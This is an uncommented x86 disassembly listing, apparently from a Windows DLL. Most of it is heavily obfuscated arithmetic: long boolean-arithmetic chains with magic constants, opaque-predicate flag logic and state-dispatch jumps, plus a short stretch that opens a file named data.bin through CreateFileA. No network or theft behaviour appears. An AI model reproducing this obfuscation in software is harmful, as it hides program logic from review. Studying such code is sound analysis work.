and ecx, esi
or eax, ecx
mov ecx, edx
not ecx
not eax
or eax, esi
mov edi, ecx
xor edi, eax
and edi, ecx
xor eax, edx
mov edx, ebx
mov ecx, ebx
xor ecx, 0x74d415a8
and ecx, ebx
or eax, edi
and esi, 0x90420fb5
and edx, 0x6fbdf04a
or edx, esi
mov esi, edx
xor esi, 0x40001000
xor edx, 0x104005a0
mov edi, edx
or edi, 0x800a8252
and edi, 0xa4de825a
and esi, 0x500015a0
or esi, edi
mov edi, ecx
not edi
or edx, edi
and edi, 0xa4de825a
and ecx, 0x5b217da5
or ecx, edi
xor ecx, esi
mov esi, eax
not esi
not edx
or edx, ecx
not ecx
and ecx, 0x8b2bea57
and edx, 0x74d415a8
or edx, ecx
mov edi, eax
and edi, 0x58a45b16
xor eax, 0xf9bc1525
and eax, esi
mov ecx, esi
and ecx, 0xa75ba4e9
or ecx, edi
xor ecx, 0xa75ba4e9
mov esi, ecx
and esi, 0x643eada
or eax, esi
mov esi, edx
not esi
or ecx, esi
and esi, 0x643eada
and edx, 0xf9bc1525
or edx, esi
xor edx, eax
mov eax, edx
not eax
mov esi, eax
and esi, 0x45c9345e
and edx, 0xba36cba1
or edx, esi
mov esi, ecx
not esi
or eax, ecx
and ecx, 0x45c9345e
and esi, 0xba36cba1
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov ecx, eax
not ecx
and ecx, 0xf0bdbd51
and eax, 0xf4242ae
or eax, ecx
xor eax, 0xf4242ae
setne bl
sete cl
cmp dword [0x10049904], 0xa
setge ch
setl ah
mov edx, ecx
and dl, ah
mov al, ch
and al, bl
or al, dl
xor al, 1
or al, ah
mov dl, ch
xor dl, bl
mov dh, dl
xor dh, 1
xor dl, dh
and dl, al
or al, dh
xor al, 1
xor dl, dh
or dl, al
mov dh, dl
xor dh, 1
mov al, dh
and al, dl
xor al, 1
or al, dl
xor al, 1
or al, dh
xor cl, ah
xor cl, 1
or cl, bl
mov dh, cl
xor dh, 1
mov bh, bl
inc bh
mov dl, bh
and dl, bl
xor dl, 1
or dl, bl
xor dl, 1
or dl, bh
and ch, dl
xor dl, 1
and dl, ah
or dl, ch
mov ch, ah
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
mov ebx, edx
xor bl, 1
mov ch, dh
and ch, cl
xor ch, 1
mov ah, cl
xor ah, ch
or ch, cl
xor ch, 1
or ch, ah
mov bh, bl
xor bh, ch
and bh, dl
mov ah, ch
or ah, dl
xor ah, 1
or ah, bh
mov bh, ch
xor bh, 1
and bh, bl
and ch, dl
or ch, bh
xor bl, dh
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
or dl, ch
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ch, dl
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
mov ch, ah
xor ch, 1
mov edx, ecx
xor dl, 1
and cl, ch
or ch, dl
and dl, ah
mov ah, al
xor ah, 1
xor ch, 1
or dl, cl
or dl, ch
mov ecx, edx
xor cl, 1
mov ch, dl
or ch, al
xor ch, 1
or cl, ah
xor cl, 1
or cl, ch
xor cl, ah
and cl, al
mov ch, ah
and ch, al
xor ch, 1
or al, ch
xor al, 1
or al, ah
xor al, ch
mov ah, al
xor ah, dl
or al, dl
and al, ah
mov edx, ecx
mov ah, al
xor ah, 1
mov ch, cl
xor ch, al
and ah, cl
or cl, al
xor cl, 1
or cl, ch
xor dl, 1
xor cl, 1
and dl, al
or dl, ah
xor dl, cl
mov ch, dl
xor ch, 1
and cl, ch
xor ch, cl
test dl, 1
mov eax, 0xef46a90e
mov esi, 0xc1b01f33
cmovne eax, esi
test cl, 1
mov edx, 0xef46a90e
cmove eax, edx
jmp 0x1001b295
cmp eax, 0xf645008d
je 0x100229ab
cmp eax, 0xf6a0f819
jne 0x1000f5c0
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov dword [eax], str.data.bin
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov byte [eax], 0xaa
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
sub esp, 0x1c
movaps xmm0, xmmword [section..rdata]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x80
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
cmp dword [eax], 0xffffffff
sete byte [ebp - 0x53]
mov eax, dword [0x10049900]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x276485c2
mov eax, edx
and eax, 0xd89b7a3d
or eax, esi
mov esi, eax
xor esi, 0x90186828
xor eax, 0x24084c0
and eax, 0x4ac396d5
and esi, 0xb53c692a
or esi, eax
mov eax, esi
xor eax, 0x802
xor esi, 0x4a800685
and esi, 0xfab446a5
and eax, 0x1852
or eax, esi
mov esi, ecx
and esi, 0x7c0a7a0b
mov ebx, edx
and ebx, 0x83f585f4
or ebx, esi
xor ebx, 0x86be24fc
mov edi, ebx
xor edi, ecx
and edi, ebx
mov ebx, eax
xor ebx, 0x1852
xor eax, 0xffffe7ad
mov esi, edi
not esi
and edi, eax
or eax, esi
and esi, ebx
or esi, edi
mov edi, esi
not edi
mov ebx, edi
and ebx, 0x8d6d4b27
and esi, 0x7292b4d8
or esi, ebx
or edi, eax
and eax, 0xfffd5ff7
xor eax, esi
xor eax, 0x729014d0
not edi
or edi, eax
mov eax, edi
not eax
mov esi, edi
or esi, 0x3a841c12
and esi, 0x3f84bd1a
mov ebx, eax
and eax, 0x4b0000
or eax, esi
or ebx, 0x500a108
and ebx, 0x3f84bd1a
and edi, 0xc03042e5
or edi, ebx
xor edi, eax
mov eax, edi
not eax
and eax, 0xc80714a8
and edi, 0x37f8eb57
or edi, eax
mov eax, edx
xor eax, 0x1a5de49c
and eax, edx
mov esi, edx
or esi, 0x85020241
and esi, 0x8d46a2dd
and ecx, 0x12194400
or ecx, esi
mov esi, eax
not esi
or edx, esi
and esi, 0x8d46a2dd
and eax, 0x72b95d22
or eax, esi
xor eax, ecx
not edx
or edx, eax
not eax
and eax, 0xe5a21b63
and edx, 0x1a5de49c
or edx, eax
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x2a04e03c
mov eax, edx
and eax, 0xd5fb1fc3
or eax, esi
mov esi, ecx
and esi, 0x9bb6cca8
and edx, 0x64493357
or edx, esi
mov esi, eax
xor esi, 0x44491343
xor eax, 0x2a04e03c
or ecx, eax
and eax, 0x9bb6cca8
and esi, 0x64493357
or esi, eax
mov eax, edi
xor eax, 0x37f8eb57
mov ebx, eax
xor edi, 0xc80714a8
xor esi, edx
not ecx
or ecx, esi
mov eax, ecx
not eax
and ecx, 0x7fa0f136
and eax, 0x805f0ec9
or eax, ecx
mov ecx, ebx
mov dword [ebp - 0x18], ebx
and ecx, 0x702363b1
mov esi, edi
mov dword [ebp - 0x20], edi
and esi, 0x8fdc9c4e
or esi, ecx
mov ecx, esi
xor ecx, 0x1d40842
xor esi, 0x702363b1
mov edx, esi
and edx, 0xce0b973c
and ecx, 0x31f468c3
or ecx, edx
mov edx, ebx
and edx, edi
mov ebx, edx
not ebx
or esi, ebx
and ebx, 0xce0b973c
and edx, 0x31f468c3
or edx, ebx
xor edx, ecx
not esi
or esi, edx
mov edx, eax
xor edx, 0x7fa0f136
xor eax, 0x805f0ec9
mov ecx, eax
and ecx, 0x98c4996b
mov ebx, edx
and ebx, 0x673b6694
or ebx, ecx
not ebx
or ebx, eax
mov dword [ebp - 0x1c], ebx
and eax, 0xff7da80f
and edx, 0x8257f0
or edx, eax
mov eax, edx
xor eax, 0x824460
xor edx, 0x45388802
and edx, 0x45389b92
and eax, 0xbac7646d
or eax, edx
mov ecx, eax
xor ecx, 0x45389b92
mov ebx, eax
mov edx, eax
xor ebx, 0xbac7646d
mov dword [ebp - 0x14], ebx
mov eax, ebx
and eax, 0xfbde99df
mov ebx, ecx
and ebx, 0x4216620
or ebx, eax
xor edx, 0xd5d2ec1e
and edx, ecx
mov dword [ebp - 0x24], edx
xor ebx, 0x631a00b4
mov eax, dword [ebp - 0x14]
or ebx, eax
and eax, 0x5af657f1
and ecx, 0xa509a80e
or ecx, eax
mov eax, esi
xor eax, 0x90ea778c
mov edx, eax
and eax, esi
mov dword [ebp - 0x28], eax
mov edi, esi
mov eax, esi
not eax
mov esi, ecx
xor esi, 0xa509a80e
and edx, eax
mov dword [ebp - 0x14], edx
xor ecx, 0xca1c207d
and ecx, esi
mov dword [ebp - 0x2c], ecx
or esi, eax
and eax, 0x4c3b62ad
and edi, 0xb3c49d52
or edi, eax
mov edx, edi
xor edx, 0xb3c49d52
xor edi, 0x83b000c
and edi, 0x97f011e
mov eax, edx
and eax, 0xf680fee1
or eax, edi
xor eax, 0x6e44678a
and edx, 0x673b6694
or edx, eax
mov eax, dword [ebp - 0x18]
and eax, 0x213a0404
mov ecx, dword [ebp - 0x20]
and ecx, 0x46016290
or ecx, eax
mov eax, ecx
xor eax, 0x44004290
or eax, 0x18c08820
xor ecx, 0x21380000
and ecx, 0x23392000
and eax, 0x5cc2ceb4
or eax, ecx
mov ecx, edx
not ecx
mov edi, eax
xor edi, 0x5cc2ceb4
xor eax, 0xa33d314b
and edi, edx
or edx, eax
and eax, ecx
or eax, edi
not edx
or eax, edx
mov ecx, ebx
not ecx
mov edi, ecx
mov edx, dword [ebp - 0x1c]
xor edi, edx
and edi, ecx
and ebx, 0x4226d97d
and ecx, 0xbdd92682
or ecx, ebx
xor ecx, edx
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x82ce7b8c
and edi, 0x7d318473
or edi, ebx
mov ebx, ecx
xor ebx, 0x3d110402
xor ecx, 0x4226d97d
or edx, ecx
and ecx, 0x82ce7b8c
and ebx, 0x7d318473
or ebx, ecx
xor ebx, edi
not edx
or edx, ebx
mov ecx, edx
not ecx
mov edi, edx
xor edi, 0xdf121d2
and edi, ecx
and edx, 0xf20ede2d
or edx, edi
mov ecx, eax
not ecx
mov edi, eax
xor edi, 0xdf121d2
and edi, eax
or eax, 0xf20ede2d
mov ebx, eax
and ebx, 0xa205de79
and ecx, 0xdf02182
or ecx, ebx
mov ebx, edi
not ebx
or eax, ebx
and ebx, 0xa205de79
and edi, 0x5dfa2186
or edi, ebx
xor edi, ecx
not eax
or eax, edi
mov edi, edx
xor edi, edx
not edi
and edi, eax
xor edi, edx
mov edx, dword [ebp - 0x24]
or edx, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x14]
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x8e031f2f
and ebx, 0x71fce0d0
or ebx, ecx
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x28]
mov ecx, ebx
not ecx
or eax, ecx
and ecx, 0x8e031f2f
and ebx, 0x71fce0d0
or ebx, ecx
xor ebx, dword [ebp - 0x14]
not eax
or eax, ebx
mov ecx, edx
xor ecx, edx
not ecx
and ecx, eax
xor ecx, edx
not esi
or esi, ecx
mov ecx, esi
not ecx
mov eax, esi
xor eax, 0x28452dc3
and eax, esi
mov edx, esi
or edx, 0xc2a0d228
and edx, 0xc2e1de68
and ecx, 0x28042183
or ecx, edx
mov edx, eax
not edx
or esi, edx
and edx, 0xc2e1de68
and eax, 0x3d1e2197
or eax, edx
xor eax, ecx
not esi
or esi, eax
not eax
and eax, 0xd7bad23c
and esi, 0x28452dc3
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xd7f73314
and esi, 0x2808cceb
or esi, ecx
xor esi, 0x2808cceb
or esi, eax
mov eax, edi
not eax
mov ecx, edi
xor ecx, 0x6d5b130b
and ecx, eax
mov edx, edi
and edx, 0x92a4ecf4
or edx, ecx
mov ecx, esi
xor ecx, 0x80a04810
mov ebx, esi
xor ebx, 0x85b0302
and ebx, 0x1a5fa7e6
and ecx, 0xe5a05819
or ecx, ebx
xor ecx, edx
mov edx, edi
and edx, 0xd5744b0d
and eax, 0x2a8bb4f2
or eax, edx
mov edx, esi
not edx
or edi, edx
and edx, 0xd5744b0d
and esi, 0x2a8bb4f2
or esi, edx
mov edx, ecx
xor edx, 0x121b8082
xor esi, eax
not edi
or edi, esi
mov eax, edi
not eax
xor ecx, 0xe5a05819
mov esi, ecx
and esi, 0x9643f7c
and edx, 0xf69bc083
or edx, esi
or ecx, edi
and edi, 0x9643f7c
and eax, 0xf69bc083
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xb3862c20
mov ebx, ecx
and ebx, 0x4c79d3df
or ebx, edx
mov esi, eax
and esi, 0xb62df6e3
mov edx, ecx
and edx, 0x49d2091c
or edx, esi
mov esi, ebx
xor esi, 0xb3862c21
mov edi, edx
xor edx, 0xb62df6e3
and edx, esi
xor edi, 0x49d2091c
xor ebx, 0x4c79d3de
and edi, ebx
or edx, edi
xor ebx, edx
and ebx, edx
mov dword [ebp - 0x18], ebx
mov edx, eax
and edx, 0x1008a00
mov esi, ecx
and esi, 0x80020100
or esi, edx
xor esi, 0x80020100
mov edi, ecx
xor edi, 0x81028b00
and edi, ecx
or edi, esi
mov edx, edi
xor edx, 0x800002
and edi, 0x818e9b03
xor edi, 0xd7632bd8
and edx, 0x808002
and edi, 0xd76f3bd9
or edi, edx
and ecx, 0xcf9017f
mov edx, eax
and edx, 0xf306fe80
or edx, ecx
mov ecx, edi
xor ecx, 0xd76f3bd9
mov esi, ecx
xor edx, 0x8d779a7c
and eax, 0x818e9b03
or eax, edx
mov ecx, esi
mov ebx, esi
mov dword [ebp - 0x14], esi
or ecx, 0x553aafee
mov esi, edi
xor esi, 0x20804000
mov edx, ecx
and edx, 0x817733a6
and esi, 0x22804011
or esi, edx
mov edx, edi
xor edi, 0x55aa2bc8
and edi, ebx
mov ebx, edi
not ebx
or ecx, ebx
and ebx, 0x897733a6
and edi, 0x56888859
or edi, ebx
xor edi, esi
not ecx
or ecx, edi
xor edx, 0x100002
mov edi, dword [ebp - 0x14]
mov esi, edi
and esi, 0x80849100
and edx, 0x451a2a53
or edx, esi
mov esi, eax
not esi
xor ecx, eax
or edi, esi
and esi, 0xbae5d5ac
and eax, 0x451a2a53
or eax, esi
xor ecx, 0x553aafee
xor eax, edx
mov edx, edi
not edx
or edx, eax
not edx
or edx, ecx
mov dword [ebp - 0x14], edx
mov esi, dword [ebp - 0x18]
mov edi, esi
not edi
mov eax, esi
xor eax, 0xcbce7e4e
and eax, esi
mov ecx, edi
and ecx, 0x36cf7f7f
mov edx, esi
mov ebx, esi
and esi, 0xc9308080
or esi, ecx
or edx, 0x34200110
and edx, 0xb7ea5554
xor esi, 0xe1bca500
or esi, edi
mov dword [ebp - 0x18], esi
mov ecx, edi
and ecx, 0x48042a0a
or ecx, edx
mov edx, eax
not edx
mov edi, ebx
or edi, edx
and edx, 0xb7ea5554
and eax, 0x4815aaab
or eax, edx
xor eax, ecx
mov ebx, dword [ebp - 0x14]
mov ecx, ebx
xor ecx, 0x7e7164fd
not edi
or edi, eax
not eax
and eax, 0x343181b1
and edi, 0xcbce7e4e
or edi, eax
mov edx, edi
mov dword [ebp - 0x28], edi
xor ebx, 0x818e9b02
mov eax, ebx
and eax, 0xf2dbe47f
mov esi, ecx
and esi, 0xd241b80
or esi, eax
not edi
mov dword [ebp - 0x24], edi
or edi, 0xc4628225
and edx, 0x20042480
and edi, 0xccea8325
or edi, edx
mov eax, esi
xor eax, 0xd241b80
mov dword [ebp - 0x20], eax
xor esi, 0xf2dbe47f
mov dword [ebp - 0x1c], esi
mov edx, esi
and edx, 0x209053e7
mov esi, eax
and esi, 0xdf6fac18
or esi, edx
mov eax, esi
xor eax, 0xdf6fac18
xor esi, 0x1050c3
and esi, 0xc95474c3
mov edx, eax
and edx, 0x36ab8b3c
or edx, esi
xor edx, 0x1e27aebc
and eax, 0xd773da7f
or eax, edx
mov dword [ebp - 0x2c], eax
and ecx, 0xe7b2c353
mov eax, ebx
mov edx, ebx
and edx, 0x184d3cac
or edx, ecx
xor edx, 0xcf3ee6d3
and eax, 0x288c2580
or eax, edx
mov dword [ebp - 0x14], eax
mov ecx, edi
xor ecx, 0xccea8325
mov edx, edi
xor edx, 0x153808
and edx, 0x8c77b90c
xor edi, 0x28040480
and edi, ecx
and ecx, 0x20880480
or ecx, edx
mov eax, dword [ebp - 0x18]
mov ebx, eax
not ebx
mov edx, eax
and edx, 0xbf584069
xor eax, 0xcb30301e
and eax, ebx
and ebx, 0x40a7bf96
or ebx, edx
mov edx, ebx
xor edx, 0x40a7bf96
mov dword [ebp - 0x30], edx
and edx, 0x34cfcfe1
or eax, edx
mov dword [ebp - 0x18], eax
mov esi, ecx
xor esi, 0x8c77b90c
mov edx, esi
or edx, 0xcb30301e
mov dword [ebp - 0x34], ecx
xor ecx, 0x200804e1
mov eax, edx
and eax, 0x4786b804
and ecx, 0x204905e1
or ecx, eax
mov eax, edi
not eax
or edx, eax
and eax, 0x5786fa04
and edi, 0x28080580
or edi, eax
xor edi, ecx
not edx
or edx, edi
mov ecx, dword [ebp - 0x18]
mov eax, ecx
xor eax, ecx
not eax
and eax, edx
xor eax, ecx
mov edx, dword [ebp - 0x34]
xor edx, 0x61800040
mov ecx, esi
and ecx, 0xc0c0484
and edx, 0xe1f2a948
or edx, ecx
xor ebx, 0xbf584069
or esi, ebx
and ebx, 0x1e0d56b7
mov ecx, dword [ebp - 0x30]
and ecx, 0xe1f2a948
or ecx, ebx
xor ecx, edx
not esi
or esi, ecx
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0xa3143e30
and eax, 0x5cebc1cf
or eax, ecx
mov ecx, esi
not ecx
or ebx, esi
and esi, 0xa3143e30
and ecx, 0x5cebc1cf
or ecx, esi
xor ecx, eax
not ebx
or ebx, ecx
mov edx, dword [ebp - 0x14]
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0x45f6b191
and ecx, eax
or eax, 0x45f6b191
mov esi, dword [ebp - 0x2c]
mov edi, esi
not edi
and edi, esi
mov dword [ebp - 0x18], edi
mov edi, eax
and edi, 0x1382cf81
mov dword [ebp - 0x30], esi
or esi, edx
and edx, 0xa809006e
or edx, edi
mov edi, ecx
not edi
or eax, edi
and edi, 0x1382cf81
and ecx, 0xec7d307e
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
mov ecx, dword [ebp - 0x30]
xor ecx, 0x45f6b191
xor eax, ecx
xor eax, dword [ebp - 0x18]
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x54471b85
and eax, 0xabb8e47a
or eax, edx
mov edx, esi
not edx
or ecx, esi
and esi, 0x54471b85
and edx, 0xabb8e47a
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov eax, ebx
not eax
mov edi, eax
and edi, 0x400012
mov edx, ebx
and edx, 0x1500c580
or edx, edi
xor edx, 0x1500c580
not edi
and edi, 0xa0e53800
and edx, 0x1500c592
or edx, edi
or eax, 0x400000
and eax, 0xa0e53800
and ebx, 0x4a1a026d
or ebx, eax
xor ebx, edx
mov eax, ecx
xor eax, 0x1540c592
and eax, ecx
mov esi, ecx
not ecx
or esi, 0xeabf3a6d
mov edx, esi
and edx, 0xa4ea3586
and ecx, 0x1100c010
or ecx, edx
mov edx, eax
not edx
or esi, edx
and edx, 0xa4ea3586
and eax, 0x5b15ca79
or eax, edx
xor eax, ecx
not esi
or esi, eax
xor esi, ebx
mov dword [ebp - 0x14], esi
mov edi, dword [ebp - 0x28]
mov esi, edi
xor esi, 0x6f7f4c87
and esi, edi
mov eax, dword [ebp - 0x24]
and eax, 0xdd136fc6
and edi, 0x22ec9039
or edi, eax
mov eax, edi
xor eax, 0x22ec9039
mov dword [ebp - 0x18], eax
mov ebx, edi
xor ebx, 0xb26c2341
and ebx, eax
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0xd3719d00
and ebx, 0x2c8e62ff
or ebx, edx
mov edx, esi
not edx
or ecx, edx
and edx, 0xd3719d00
and esi, 0x2c8e62ff
or esi, edx
xor esi, ebx
not ecx
or ecx, esi
mov eax, dword [ebp - 0x20]
mov edx, eax
or edx, 0x80803350
and edx, 0xa9d87fd6
mov esi, dword [ebp - 0x1c]
mov ebx, esi
and ebx, 0x46270001
or ebx, edx
mov edx, esi
or edx, 0x29584c86
and edx, 0xa9d87fd6
mov esi, eax
and esi, 0x10008028
or esi, edx
xor esi, ebx
xor esi, ecx
xor edi, 0xdd136fc6
mov ecx, edi
and ecx, 0x84e30427
mov eax, dword [ebp - 0x18]
and eax, 0x7b1cfbd8
or eax, ecx
mov ecx, dword [ebp - 0x20]
or edi, ecx
and ecx, 0x84e30427
mov edx, ecx
mov ecx, dword [ebp - 0x1c]
and ecx, 0x7b1cfbd8
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
not edi
or edi, esi
mov ecx, edi
not ecx
mov eax, edi
xor eax, 0x3d5ef50c
and eax, edi
or edi, 0xc2a10af3
mov edx, edi
and edx, 0x753d4c18
and ecx, 0x842b104
or ecx, edx
mov edx, eax
not edx
or edi, edx
and edx, 0x753d4c18
and eax, 0x8ac2b3e7
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov eax, edi
xor eax, 0x2000a2
xor edi, 0x1406240c
and edi, 0xd6872e5d
and eax, 0x2978d1a2
or eax, edi
mov ecx, eax
xor ecx, 0x21388102
xor eax, 0xc002244c
and eax, 0xc84274ec
and ecx, 0x37bd8b13
or ecx, eax
mov eax, ecx
xor eax, 0x37bd8b13
mov edx, eax
mov dword [ebp - 0x1c], eax
mov eax, ecx
xor eax, 0xc84274ec
mov dword [ebp - 0x18], eax
xor ecx, 0x202f3749
and ecx, eax
and edx, 0xe86d43a5
or edx, ecx
mov dword [ebp - 0x20], edx
mov ebx, dword [ebp - 0x14]
mov esi, ebx
not esi
mov edx, ebx
xor edx, 0x1792bc5a
and edx, esi
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x70bcd875
and edx, 0x8f43278a
or edx, eax
mov edi, esi
or edi, 0x1792bc5a
or ecx, edi
and edi, 0x70bcd875
mov eax, ebx
and eax, 0x88410380
or eax, edi
xor eax, edx
not ecx
or ecx, eax
xor ecx, dword [ebp - 0x20]
mov eax, ebx
and eax, 0x691c0326
and esi, 0x96e3fcd9
or esi, eax
mov eax, dword [ebp - 0x1c]
or ebx, eax
and eax, 0x691c0326
mov edx, eax
mov eax, dword [ebp - 0x18]
and eax, 0x96e3fcd9
or eax, edx
xor eax, esi
not ebx
or ebx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xbb724fcf
and ecx, 0x448db030
or ecx, edx
xor ecx, ebx
xor ecx, 0x448db030
or eax, ebx
not eax
or eax, ecx
mov edx, eax
not edx
mov esi, edx
and esi, eax
mov ecx, eax
and ecx, 0x577d6a57
mov edi, edx
and edi, 0xa88295a8
or edi, ecx
mov ebx, esi
not ebx
mov ecx, eax
or ecx, ebx
and ebx, 0x577d6a57
and esi, 0xa88295a8
or esi, ebx
xor esi, edi
not ecx
or ecx, esi
mov esi, edx
and esi, 0x5a423a44
mov edi, eax
and edi, 0xa5bdc5bb
or edi, esi
mov ebx, edi
xor ebx, 0xa5bdc5bb
xor edi, 0x2003244
and edi, 0x2729b6ed
mov esi, ebx
and esi, 0xd8d64912
or esi, edi
xor esi, 0xd8d64912
or esi, ebx
mov edi, ecx
not edi
mov ebx, esi
not ebx
and ebx, edi
or edi, esi
and esi, ecx
not edi
or esi, ebx
or esi, edi
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0xfc61e515
and ecx, esi
and esi, 0x39e1aea
or esi, edi
mov edi, esi
xor edi, 0x18600c8
xor esi, 0xfc61e515
mov ebx, esi
and ebx, 0xf6187b36
and edi, 0x9e784c9
or edi, ebx
mov ebx, ecx
not ebx
or esi, ebx
and ebx, 0xf6187b36
and ecx, 0x9e784c9
or ecx, ebx
xor ecx, edi
not esi
or esi, ecx
mov edi, esi
not edi
mov ebx, esi
and ebx, 0xe02b3397
mov ecx, edi
and edi, 0x1fd4cc68
or edi, ebx
or ecx, 0xe02b3397
mov ebx, ecx
and ebx, 0x7d66bf50
and esi, 0x2904028
or esi, ebx
mov ebx, edi
not ebx
or ecx, ebx
and ebx, 0x7d66bf50
and edi, 0x829940af
or edi, ebx
xor edi, esi
not ecx
or ecx, edi
and edx, 0xbae131a6
and eax, 0x451ece59
or eax, edx
mov edi, eax
xor edi, 0x514cc48
mov edx, eax
xor edx, 0xbae131a6
mov esi, edx
or esi, 0x1fd4cc68
xor eax, 0x40080210
and edx, 0xe02b3397
and edi, 0x1fd4cc68
or edi, edx
mov edx, esi
and edx, 0x9f53e56f
and eax, 0x60281290
or eax, edx
mov edx, edi
not edx
or esi, edx
and edx, 0x9f53e56f
and edi, 0x60ac1a90
or edi, edx
mov edx, ecx
not edx
xor edi, eax
not esi
or esi, edi
mov ebx, esi
not ebx
mov eax, ebx
and eax, 0xc00006
and esi, 0x2398450
or esi, eax
xor esi, 0x2398450
and ebx, 0xfd067ba9
or ebx, esi
mov dword [ebp - 0x14], ebx
mov eax, ecx
and eax, 0x214508cb
mov esi, edx
and esi, 0xdebaf734
or esi, eax
mov edi, ebx
not edi
and edi, 0x80933d3e
mov eax, ebx
and eax, 0x7f6cc2c1
or eax, edi
mov ebx, esi
xor ebx, 0x98203604
xor esi, 0x214508cb
mov edi, esi
and edi, 0x66dfc97b
and ebx, 0x99203684
or ebx, edi
mov edi, eax
xor edi, 0x19200280
xor eax, 0x80933d3e
or esi, eax
and eax, 0x66dfc97b
and edi, 0x99203684
or edi, eax
xor edi, ebx
not esi
or esi, edi
mov ebx, ecx
xor ebx, 0xdab478bc
and ebx, edx
or edx, 0xdab478bc
mov eax, edx
and eax, 0x867d2706
and ecx, 0x21028041
or ecx, eax
mov eax, ebx
not eax
or edx, eax
and eax, 0x867d2706
and ebx, 0x7982d8f9
or ebx, eax
xor ebx, ecx
mov edi, esi
not edi
mov eax, dword [ebp - 0x14]
xor eax, 0x254b8743
not edx
or edx, ebx
mov ecx, eax
xor ecx, eax
not ecx
and ecx, edx
xor ecx, eax
mov eax, ecx
not eax
mov edx, edi
xor edx, eax
and edx, edi
and esi, 0x67135287
and edi, 0x98ecad78
or edi, esi
and eax, 0x67135287
and ecx, 0x98ecad78
or ecx, eax
xor ecx, edi
mov eax, edx
not eax
mov esi, ecx
not esi
mov edi, eax
and edi, 0xf47982b0
and edx, 0xb867d4f
or edx, edi
or eax, esi
and esi, 0xf47982b0
and ecx, 0xb867d4f
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x3182595e
mov esi, ecx
and esi, 0xce7da6a1
or esi, edx
mov edx, esi
xor edx, 0xce7da6a1
xor esi, 0x21000044
and esi, 0x2f210465
mov edi, edx
and edi, 0xd0defb9a
or edi, esi
xor edi, 0xcf0a37f2
and edx, 0xe02b3397
or edx, edi
mov edi, edx
not edi
and eax, 0x9c958d72
mov esi, ecx
and esi, 0x636a728d
or esi, eax
xor esi, 0x8341411a
and ecx, 0x1fd4cc68
or ecx, esi
mov eax, ecx
not eax
mov esi, edi
xor esi, ecx
and esi, edi
and edx, 0xa49d37c6
and edi, 0x5b62c839
or edi, edx
and ecx, 0xa49d37c6
and eax, 0x5b62c839
or eax, ecx
xor eax, edi
mov ecx, esi
not ecx
mov edx, eax
not edx
mov edi, ecx
and edi, 0x36a48e5e
and esi, 0xc95b71a1
or esi, edi
or ecx, edx
and edx, 0x36a48e5e
and eax, 0xc95b71a1
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xdb26b7d2
mov esi, eax
and esi, 0x24d9482d
or esi, edx
mov edi, esi
xor edi, 0x512202c0
xor esi, 0x24d9482d
and edi, 0x51ba0ac9
mov edx, esi
and edx, 0xae45f536
or edx, edi
mov edi, edx
xor edi, 0xae45f536
xor edx, 0x3b1669ec
and edx, edi
or esi, edx
and esi, 0x95539cda
not edx
and edx, 0x6aac6325
or edx, esi
mov esi, eax
and esi, 0x82b92a65
and eax, ecx
and ecx, 0x7d46d59a
or ecx, esi
xor ecx, 0x7d46d59a
or ecx, eax
mov eax, edx
not eax
mov dword [ebp - 0x14], eax
and eax, 0x6abf3a03
mov ebx, edx
and ebx, 0x9540c5fc
or ebx, eax
mov edi, ecx
not edi
mov esi, ecx
xor esi, 0xe387ddbe
and edi, esi
and esi, ecx
mov eax, ebx
xor eax, 0x8100858c
xor ebx, 0x62851800
or ebx, 0x18200041
and ebx, 0x7aa55871
and eax, 0x8102858e
or eax, ebx
mov ebx, dword [ebp - 0x14]
or ebx, 0x62855830
and ebx, 0x7aa55871
mov ecx, edx
and ecx, 0x4582200
or ecx, ebx
xor ecx, eax
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0xd1e7186b
and edi, 0x2e18e794
or edi, eax
mov eax, esi
not eax
or ebx, eax
and eax, 0xd1e7186b
and esi, 0x2e18e794
or esi, eax
xor esi, edi
not ebx
or ebx, esi
mov esi, ebx
xor esi, ebx
not esi
and esi, ecx
xor esi, ebx
mov eax, esi
not eax
mov ecx, dword [ebp - 0x14]
and ecx, eax
